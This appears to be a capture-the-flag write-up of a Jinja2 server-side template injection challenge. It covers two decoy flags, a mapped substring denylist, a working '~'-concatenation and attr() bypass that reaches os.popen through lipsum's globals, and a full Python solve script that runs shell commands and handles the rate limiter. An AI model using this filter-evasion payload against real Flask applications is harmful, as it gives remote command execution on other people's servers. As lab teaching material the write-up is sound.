A live "Host Diagnostics // Incident Report Console" (DPM-7) with one
textarea. Submitting fires POST /generate {"template": "<text>"} and
prints back {"report": ...} or {"error": ...}. The blurb says "the
template field supports basic formatting." It supports a lot more than
that.
Hint
Two flag-shaped strings show up almost immediately. Neither is real - the author tells you so, if you read carefully.
The two decoys you'll find in thirty seconds
The page source has an HTML comment calling itself a build manifest, ending
with archive signature L3m0n{a8e6e4a65b5cceae552539429ec1d0d1}. The comment
itself says fixture values are seeded at build time and live incident data
is never written to the manifest - the author is telling you it's a prop.
{{7*7}} renders 49, so the field is unsandboxed Jinja2. {{config}}
dumps the Flask config, including a second flag-shaped string in
SECRET_KEY. Two easy wins in two minutes, both suspicious.
Pitfall
When a page hands you a flag in a comment or in {{config}}, look for the
sentence that explains why it isn't the flag. This app wrote its own
decoys and practically narrates the trap.
The wall
The obvious class-chain walk gets rejected:
{{"".__class__.__mro__}}
-> {"error": "template rejected: forbidden pattern detected",
"engine_diagnostic": "... outcome : REJECTED_BY_POLICY ..."}
The rejection ships a fake pipeline trace - a nice touch, but it also tells you the check is a policy pass over the raw body, not an actual Jinja parse. Poking substrings one at a time maps it:
- blocked:
__mro__,__subclasses__,__globals__,popen,system - not blocked:
attr,class,__,os,read,config,request,lipsum,eval,import
So it only hunts a handful of literal words, and the class chain is wide open as long as those exact substrings never appear together.
Note
There's also a rate limiter: 30 requests per 300s, 120s lockout. My first
probe loop tripped it and I sat out a couple of two-minute cooldowns
watching {"status":"THROTTLED"}. Worth knowing before you start hammering
- the actual solve needs three requests, not thirty.
Getting past it
~ builds any blocked word at render time, so the request body never
contains it contiguously. lipsum (jinja2.utils.generate_lorem_ipsum)
already has os imported in its globals, skipping the whole
__subclasses__ walk:
{{ lipsum
|attr(('_'~'_')~'glob'~'als'~('_'~'_')) {# __globals__ #}
|attr('get')('os') {# -> the os module #}
|attr('pop'~'en')('id') {# os.popen('id') #}
|attr('read')() }}
Pitfall
My first cut ended ...('id').read() and Jinja refused it:
expected token 'end of print statement', got '.'. You can't hang
.read() off a filter-call expression - it has to be another
|attr('read')() filter. That cost one round-trip against a throttled
endpoint, which is the expensive kind of mistake here.
Where the flag actually lives
With command execution, reading /app/app.py confirms the bait was
deliberate:
1FLAG = os.environ.get('FLAG') # the real one
2DECOY_FLAG = 'L3m0n{3e75431b325f3c5f5a7c0d071a91002c}' # config SECRET_KEY
3FILE_DECOY_FLAG = 'L3m0n{a8e6e4a65b5cceae552539429ec1d0d1}' # secret_flag.txt
4FLAG_FILE = os.path.join(APP_DIR, '.dpm7_incident_keystore')
5with open(FLAG_FILE, 'w') as f:
6 f.write(FLAG)
Both of the strings the challenge dangles in front of you - the build
manifest comment and {{config}} - are exactly the two named decoys. The
real flag is the FLAG env var, mirrored at startup into
/app/.dpm7_incident_keystore:
$cat /app/.dpm7_incident_keystore L3m0n{d12ffd3a30821f33f2abafd88676cca6}
Show the full solve script
1#!/usr/bin/env python3
2"""Delos Console - Jinja2 SSTI behind a substring denylist.
3
4POST /generate {"template": "..."} -> {"report": <rendered>} | {"error": ...}
5
6Only defence: a case-insensitive substring denylist over the raw body
7(__mro__, __subclasses__, __globals__, popen, system) plus a per-IP rate
8limiter (30 req / 300s, 120s lockout). Bypass: build each blocked token at
9render time with `~` and reach os through jinja2.utils.lipsum's globals.
10"""
11import json, re, sys, time
12import requests
13
14B = sys.argv[1].rstrip("/")
15
16
17def send(tpl, tries=15):
18 for _ in range(tries):
19 r = requests.post(B + "/generate",
20 headers={"Content-Type": "application/json"},
21 data=json.dumps({"template": tpl}), timeout=25)
22 try:
23 d = r.json()
24 except Exception:
25 d = {"report": r.text[:300]}
26 if d.get("status") == "THROTTLED":
27 m = re.search(r"(\d+)s", d.get("error", ""))
28 time.sleep((int(m.group(1)) + 3) if m else 30)
29 continue
30 return d
31 return {"error": "gave up (throttled)"}
32
33
34GC = "('_'~'_')~'glob'~'als'~('_'~'_')" # __globals__
35POPEN = "'pop'~'en'" # popen
36G = "lipsum|attr(%s)" % GC # jinja2.utils module globals
37
38cmd = "cat /app/.dpm7_incident_keystore"
39out = send("{{%s|attr('get')('os')|attr(%s)(%r)|attr('read')()}}"
40 % (G, POPEN, cmd))
41
42m = re.search(r"L3m0n\{[0-9a-f]{32}\}", str(out))
43print("FLAG:", m.group(0) if m else out)
Notes for next time
- The denylist is substring-only. Any of these Jinja challenges falls to
~concatenation plusattr()- map the word list first and build around it. - The throttle returns a countdown in its JSON. Parse it and sleep; don't retry blind, you'll just extend the lockout.